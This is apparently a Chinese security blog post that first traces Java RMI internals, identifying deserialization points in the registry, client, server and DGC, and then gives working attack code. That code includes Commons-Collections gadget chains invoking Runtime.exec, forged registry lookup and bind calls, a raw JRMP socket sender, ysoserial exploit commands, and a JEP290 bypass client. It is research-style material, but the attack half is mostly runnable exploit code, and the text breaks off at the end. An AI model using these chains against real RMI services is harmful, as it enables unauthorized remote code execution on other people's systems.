RMI原理
这部分已经记录过了也参考了许多佬的文章可以直接看自己的笔记
Java Rmi原理
RMI创建流程
先提前给出源码
1 2 3 4 5 6 7 8 9
| package com.ocean;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { void test() throws RemoteException; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.ocean;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class IRemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{ protected IRemoteObjImpl() throws RemoteException { super(); }
@Override public void test() { System.out.println("this is test"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.ocean;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj iRemoteObj = new IRemoteObjImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("test",iRemoteObj); System.out.println("RMIServer running!!!");
}
}
|
创建远程服务
下断点开始调试

跟进去会跟到我们接口的实现类

这里继承的是UnicastRemoteObject类所以继续跟进看看我们的对象是如何创建的

这里其实就是会将远程对象发布到一个实际的端口上,跟进看看

这里可以看到传入了一个远程对象和一个UnicastServerRef类前面的远程对象是真正的逻辑后面的是用于处理网络请求的。传进去一个端口,ip是自动获取的。继续跟进

继续跟到LiveRef类里面去


这里调用了LiverRef的构造函数第一个是objectid后面是一个网络处理的类,这个类里面获取了ip可以自己跟跟看


到这里就有了ip和真正处理网络请求的东西

这里就会调用父类UnicastrRef的构造方法
其实就是一个赋值操作
又回到exportObject中继续向下跟

然后这里传进来了我们之前创建的UnicastServerRef,然后又重新进行了赋值,但是这里面其实还是我们之前的LiveRef,然后接下来又调用了exportObject,在这整个过程中一直都在调用exportObject,只是在不同的类去调用

跟进来之后发现这里是创建了一个代理也就是之前所说的客户端真正调用的代理,也就是真正网络请求的东西
为什么要在服务端创建呢,其实通过前面的流程可以知道是服务端先创建好然后放到注册中心然后客户端在去注册中心调用这个代理。看一下具体是怎么创建的

通过调用createProxy方法跟进去看看

这里第一个参数就是就是远程对象的类, clientRef实际就是我们创建的liveRef。继续向下会有一个判断如果为True的话就会创建这个stub所以继续跟到stuClassExists方法判断是否为true或false

然后在这里可以了解到,这里会在名字后加上_Stub
,如果有这个类的话就会为真,但是我们没有写这个类,实际上是在JDK中自己定义了这个类

如果说要调用这些类的话就会直接到这里面找,但是我们现在没有用到,这里也就是false,然后接下来就是一个创建动态代理标准流程,然后我们可以看见在handler中保存的还是我们之前的LiveRef


然后我们的动态代理就创建好了

然后下一步就是创建了一个Target,其实就是一个总封装

跟进去看看

这里的id和liveRef的id是同一个,这就说明这中间最核心的就是LiveRef
继续向下执行到
跟进去然后我们跟到调用的部分,然后就跟进到TCPTransport的exportObject



这里能够看到开启了listen(),也就是真正的对网络请求进行处理了

可以看到这里开启了一个新的线程区分于代码逻辑的线程,然后开启线程等到客户端的连接,然后在过程中也给端口进行了赋值(之前是默认值0)

然后这个远程对象就已经发布出去了,继续向下执行到super.exportObject(target);
跟进

先是进行了一个赋值,然后执行putTarget

在这过程中这里将target保存在了自己定义的一个静态的表里面,然后到这里发布的整个过程就就完成了
创建注册中心
创建注册中心的流程在大致上和创建远程服务的差不多,主要的差别就是在创建代理(createProxy
)的时候

主要的不同点在这里可以看到在创建远程服务的时候是没有进入到这个逻辑里的
而在这里是会进入这个函数的,这是因为之前远程服务是找不到这个类,但是在创建注册中心的时候是能够在JDK自己的类中找到对应的类的

然后直接forName
创建代理类继续向下走
这里是判断一下是否是服务端创建出来的,如果为Ture就调用一个setSkeleton方法
然后调用createSkeleton,跟进
Skeleton可以根据之前的流程图得知他是服务端的代理,然后这也是通过forName
直接创建出来的
然后回到UnicastServerRef#exportObject
可以发现impl中保存的ref中加了一个skel对象,接下就是创建Target,并且把Target保存,进入ref.exportObject(target);
中,然后走到putTarget的位置
然后查看ObjectTable中保存了一些什么,然后我们创建的远程对象应该都是保存在这个里面的
其中DGCImpl_Stub
并不是我们创建的,这个是默认创建的一个分布式垃圾回收的类,这也是一个很重要的类,然后剩下的两个就是我们自己创建的两个类

一个远程服务的动态代理Stub类这里面的skel为null,一个注册中心的Stub类并且里面存在一个skel
绑定注册中心

这里就是检查我们传进来的test有没有被绑定如果已经绑定就会报一个异常,没有的话就把它put进去。
客户端请求注册中心 ———— 客户端

这里其实和之前服务端创建注册中心是一样的,这里也在是本地创建了一个LiveRef,然后把ip和端口放了进去,然后封装了一下,再然后就是又调用了Util.createProxy
方法重新创建了一个Stub
接下来就是获取远程对象通过lookup
反学序列化1

我们可以看到这里会将远程对象的名称进行序列化,那么同样的就可以想到注册中心肯定会反序列化读,这就是一个反序列化点。
接下来我们继续往下跟有个invoke方法跟进去

这里有个executeCall方法继续跟进去。
反序列化2

在这里的话如果产生了这个异常的话也会通过反序列化读出对象,这里的本意应该是如果产生了异常了就通过反序列化读出更详细的异常信息
反序列化3
这里我们回溯出来继续向下跟

可以看到这里会从注册中心返回的输入流反序列化读取。
最后就是获取远程对象了
客户端请求服务端————客户端

由于使用了动态代理所以必然会走到一个invoke方法里,看到下面调用了invokeRemoteMethod方法
跟进看看

继续跟到invoke
反序列化4

这里会调用一个executeCall方法之前说过这里会有一个反序列化点跟上文说的反序列化点2一致
继续向下跟

这里有一个unmarshalValue跟进去
反序列化5

可以看到这里会通过反序列化获取远程对象传过来的值,并且类型不是基本类型就会反序列化。
客户端请求注册中心————注册中心
在之前分析创建远程服务和注册中心是并没有仔细看listen方法里的逻辑,因为我们要看客户端请求注册中心之后注册中心的执行流程所以我们就在看看

从listen的方法里创建了一个新的线程跟进AcceptLoop看看里面的run方法

继续跟进去
可以看到这里又创建了一个线程池,再看看他的run方法

再看看run0
重点是调用了handleMessages这个方法跟进去

默认会调用这个serviceCall方法

可以看到这里会从Target获取一些东西看看这里面有什么东西,先下一个断点然后从客户端访问注册中心看看

可以看到已经断住了,然后我们看看Target里有什么
这里可以看到里面保存的就是我们之前创建的RegistryImpl_Stub
,然后继续向下走

可以看到获取getDispatcher(分发器)

在这里面保存了skel,然后在后面执行了disp.dispatch(impl, call);
,跟进


这里skel不是null就会调用oldDispatch跟进去

这里又调用了dispatch继续跟进去
反序列化6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; String var7; Remote var8; ObjectInput var10; ObjectInput var11; switch (var3) { case 0: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var94) { throw new UnmarshalException("error unmarshalling arguments", var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException("error unmarshalling arguments", var95); } finally { var2.releaseInputStream(); }
var6.bind(var7, var8);
try { var2.getResultStream(true); break; } catch (IOException var93) { throw new MarshalException("error marshalling return", var93); } case 1: var2.releaseInputStream(); String[] var97 = var6.list();
try { ObjectOutput var98 = var2.getResultStream(true); var98.writeObject(var97); break; } catch (IOException var92) { throw new MarshalException("error marshalling return", var92); } case 2: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); }
var8 = var6.lookup(var7);
try { ObjectOutput var9 = var2.getResultStream(true); var9.writeObject(var8); break; } catch (IOException var88) { throw new MarshalException("error marshalling return", var88); } case 3: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var85) { throw new UnmarshalException("error unmarshalling arguments", var85); } catch (ClassNotFoundException var86) { throw new UnmarshalException("error unmarshalling arguments", var86); } finally { var2.releaseInputStream(); }
var6.rebind(var7, var8);
try { var2.getResultStream(true); break; } catch (IOException var84) { throw new MarshalException("error marshalling return", var84); } case 4: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); }
var6.unbind(var7);
try { var2.getResultStream(true); break; } catch (IOException var80) { throw new MarshalException("error marshalling return", var80); } default: throw new UnmarshalException("invalid method number"); }
} }
|

可以看到这里面会根据客户端的调用方法进入对应的case,每个case里都有反序列化点这里以lookup为例,上问分析客户端请求注册中心的时候可以知道我们获取远程对象名称是序列化传过去的,所以这里自然会反序列化读出来,这也就是一个反序列化点。
客户端请求服务端————服务端
这里和上文提到的请求注册中心的流程基本是一样的,所以直接看不同的点就可以。

这里可以看到断住了动态代理的stub,它也会走到dispatch方法

不过这里不同的一点是skel为null

反序列化7
所以也就不会走到oldDispatch里去继续往下走可以看到一个点

unmarshalValue这个方法上文之前提到过,这里面是有反序列化点的。

原理就是就是客户端会将参数值序列化传进去,当然这里也会反序列化读出来
就是在客户端调用服务端的方法时如果有参数传入会进行序列化传入,这里我没有写传参的例子。
反序列化8
这里继续向下走

可以看到调用了marshalValue方法

可以看到就是一个序列化的过程,也就是服务端将返回值序列化之后返回给客户端,同样客户端需要反序列化读出来也是一个反序列化点。
客户端请求服务端————DGC
DGC 叫做分布式垃圾回收。RMI 使用 DGC 来做自动垃圾回收。因为 RMI 包含了跨虚拟机的远程对象的引用,垃圾回收是很困难 的。DGC 使用引用计数算法来给远程对象提供自动内存管理。
在前面的调试中我们也发现了有dgc这个东西,就是在创建注册中心的时候Target里有三个对象
- 远程服务的动态代理Stub类
- 注册中心的Stub类
- DGCImpl_Stub
这里先回到创建远程对象putTarget

按照之前的流程来说在target里面放的还是远程对象,然后向下走,按照流程来说的话要走到objTable.put(oe, target);
这里才会把远程对象放进去,但是还没进行的时候其实objTable里面就是放进去了一个对象也就是DGCImpl_Stub

在进行put之前可以看到

这里看着是调用了dgcLog变量

但是可以看到dgcLog变量是静态变量,对静态变量的调用是会进行类的初始化的。

这里是该类的静态代码块,和之前创建注册中心的很像就是dgc的创建流程。
客户端在调用的时候也是一样也会走到dispatch方法这里

这里会走到oldDispatch里和注册中心的流程一样,最后都会走到dispatch方法里
反序列化9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != -669196253586618813L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { DGCImpl var6 = (DGCImpl)var1; ObjID[] var7; long var8; switch (var3) { case 0: VMID var39; boolean var40; try { ObjectInput var14 = var2.getInputStream(); var7 = (ObjID[])var14.readObject(); var8 = var14.readLong(); var39 = (VMID)var14.readObject(); var40 = var14.readBoolean(); } catch (IOException var36) { throw new UnmarshalException("error unmarshalling arguments", var36); } catch (ClassNotFoundException var37) { throw new UnmarshalException("error unmarshalling arguments", var37); } finally { var2.releaseInputStream(); }
var6.clean(var7, var8, var39, var40);
try { var2.getResultStream(true); break; } catch (IOException var35) { throw new MarshalException("error marshalling return", var35); } case 1: Lease var10; try { ObjectInput var13 = var2.getInputStream(); var7 = (ObjID[])var13.readObject(); var8 = var13.readLong(); var10 = (Lease)var13.readObject(); } catch (IOException var32) { throw new UnmarshalException("error unmarshalling arguments", var32); } catch (ClassNotFoundException var33) { throw new UnmarshalException("error unmarshalling arguments", var33); } finally { var2.releaseInputStream(); }
Lease var11 = var6.dirty(var7, var8, var10);
try { ObjectOutput var12 = var2.getResultStream(true); var12.writeObject(var11); break; } catch (IOException var31) { throw new MarshalException("error marshalling return", var31); } default: throw new UnmarshalException("invalid method number"); }
} }
|
这里可以看到不同的case对应不同的方法,一个clean 一个dirty,可以看到都是有反序列化点的
这里其实算是攻击dgc的服务端。
看看dgc_stub端
反序列化10
这里直接跟着白日梦组长的视频看源码分析了

在stub端的clean方法里存在着invoke方法,这里会调用execute.call方法和反序列化1很像,就是jrmp攻击的原理
反序列化11
往下看他的dirty方法

会反序列化从dgc_skel传来的数据
RMI攻击
参考:https://townmacro.cn/2022/04/18/java-%E5%AE%89%E5%85%A8-rmi%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/
https://su18.org/post/rmi-attack/#1-%E6%94%BB%E5%87%BB-server-%E7%AB%AF
还是需要记录下几个rmi攻击方法的。
攻击注册中心
服务端攻击注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.ocean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class RMIServerAttack { public static void main(String[] args) throws Exception { try {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}), }; Transformer transformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map ouputMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry);
Map tmpMap = new HashMap(); tmpMap.put("pwn", badAttributeValueExpException); Constructor<?> ctor = null; ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap); Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIServerAttack.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler)); Registry registry = LocateRegistry.getRegistry(1099); registry.bind("hello1", remote); } catch (Exception e) { e.printStackTrace(); } } }
|
看一下调用过程就大概了解原理了,其实在之前的反序列化6那里就已经分析过了主要是dispatch里面触发的反序列化,这里先断住

然后跟进去

继续跟进去

跟进去

这里就是最终的执行流程了这里因为使用的是bind方法所以会进入到bind对应的方法里面。
重点
1 2 3
| Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));
|
Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象:
1 2 3
| Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)
|
上述代码中创建了一个代理对象,这个代理对象代理了Remote.class接口,handler为我们的handler对象。当调用这个代理对象的一切方法时,最终都会转到调用handler的invoke方法。
而handler是InvocationHandler对象,所以这里在反序列化时会调用InvocationHandler对象的invoke方法

这里也可以直接用yso工具进行攻击
1
| java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 10.169.0.90 1099 CommonsCollections6 "open -a Calculator"
|
其实这里自习跟踪调用栈你会发现他会先进到,case为1的逻辑里

然后在进到case为0的情况下触发反序列化。
客户端攻击注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package com.ocean;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput; import java.io.Serializable; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map;
public class RMIClient2 implements Serializable { public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open -a Calculator"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(r); ref.invoke(var2); }
}
|
因为lookup只能传参为String类型所以需要伪造lookup的方法进行调用
具体看图

可以看到会进到lookup的方法里。
攻击客户端
注册中心攻击客户端
直接使用工具 yso
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open -a Calculator"
|
受害端
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.ocean;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry(1099); registry.lookup("ttt"); } }
|
在客户端下断点

跟进去

跟进去

这里是触发点,也就是当时分析的反序列化2。list方法也是一样
服务端攻击客户端
恶意服务端
1 2 3 4 5 6 7 8 9 10
| package com.ocean;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { String test() throws RemoteException; public Object RmiDemo() throws Exception; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package com.ocean;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class IRemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{ protected IRemoteObjImpl() throws RemoteException { super(); }
public Object RmiDemo() throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true);
return AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map); } }
|
受害端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.ocean;
import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry(1099); String[] list = registry.list(); for (String i : list) { System.out.println("已经注册的服务:" + i); } IRemoteObj rmiDemo = (IRemoteObj)registry.lookup("RmiDemo"); rmiDemo.RmiDemo();
|
记得在受害端也定义一下接口
1 2 3 4 5 6 7 8 9 10
| package com.ocean;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { String test() throws RemoteException; public Object RmiDemo() throws Exception; }
|
这个也是会调用invoke方法

跟进去

跟进去

最后来到unmarshavalue方法跟进去

因为我们服务端返回的是obejct所以会走到else里面进行反序列化和上文所说的反序列化5一样
攻击服务端
客户端攻击服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class Client { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("localhost",1099); IRemoteObj remoteQing = (IRemoteObj) registry.lookup("remote"); Object obj = remoteQing.RmiDemo(payload()); System.out.println(obj); } public static Object payload() throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); return annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); } }
|
就是要求服务端要有一个接受客户端传来的对象。就不再详细跟了和反序列化7一样
DGC攻击
这里使用yso工具攻击
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 "open -a Calculator"
|
受害服务端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.ocean;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj iRemoteObj = new IRemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099); registry.bind("RmiDemo",iRemoteObj);
}
}
|

其实能够看到他会进入DGCImpl_Skel的dispatch方法中然后触发反序列化
堆栈

直接通过socket向注册中心发送序列化数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import sun.rmi.server.MarshalOutputStream; import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory; import java.io.DataOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.Socket; import java.rmi.server.ObjID;
public class RemoteUtils { public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception { Socket socket = SocketFactory.getDefault().createSocket(host, port); socket.setKeepAlive(true); socket.setTcpNoDelay(true); DataOutputStream dos = null; try { OutputStream os = socket.getOutputStream(); dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic); dos.writeShort(TransportConstants.Version); dos.writeByte(TransportConstants.SingleOpProtocol); dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objid.write(objOut); objOut.writeInt(opNum); objOut.writeLong(hash);
for (Object object: objects) { objOut.writeObject(object); }
os.flush(); } finally { if (dos != null) { dos.close(); } if (socket != null) { socket.close(); } } }
public static void main(String[] args) {
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.rmi.server.ObjID;
public class Attack { public static void AttackByDGC() throws Exception { String registryHost = "127.0.0.1"; int registryPort = 1099; final Object payloadObject = new CC6().getPocObject("mate-calc"); ObjID objID = new ObjID(2); RemoteUtils.sendRawCall(registryHost, registryPort, objID, 0, -669196253586618813L,payloadObject); }
public static void main(String[] args) throws Exception { AttackByDGC(); } }
|
具体调用调试流程可以参考:https://xz.aliyun.com/t/7930?time__1311=n4%2BxnD0DyDu730KK40Hpn7DOn%3Di%3Di3eH4D#toc-10
JEP290 Bypass
jdk版本<231
受害服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.ocean;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj iRemoteObj = new IRemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099); registry.bind("RmiDemo",iRemoteObj);
}
}
|
恶意客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.ocean; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class jepbypass { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("localhost",1099); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 2222); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(jepbypass.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("Hello",proxy); } }
|
恶意注册端

这里来分析执行流程,和之前一样也是会走到dispatch方法里,中间过程就不细跟了

- 在 RegistryImpl_Skel.dispatch bind 分支反序列化参数时,最终会进入 RemoteObject.readObject 方法进行反序列化。
- RemoteObject.readObject 方法中会调用 readExternal 方法。
- 而 readExternal 方法最终调用到 LiveRef 类的 read 方法。进而调用 saveRef 将远程对象的 LiveRef(标识信息、通信地址)存放在 ConnectionInputStream 实例中。
这里在记录下过程
在dispatch反序列化之后会调用

之后调用registerRefs()跟进去

在这里就会发现会根据之前存储的映射关系(”在这个方法中会读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口,后面会提到),然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上。然后传入 DGCClient#registerRefs 方法中

最终由 DGCClient 向恶意的 JRMP 服务端发起 lookup 连接:
后面就是恶意注册端将序列化数据传来,dgc客户端进行反序列化触发。


调用栈拿过来

231 =< jdk <= 241
这里为什么不能用了是因为在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程,又会被 JEP290 check 到了 。
1 2 3 4
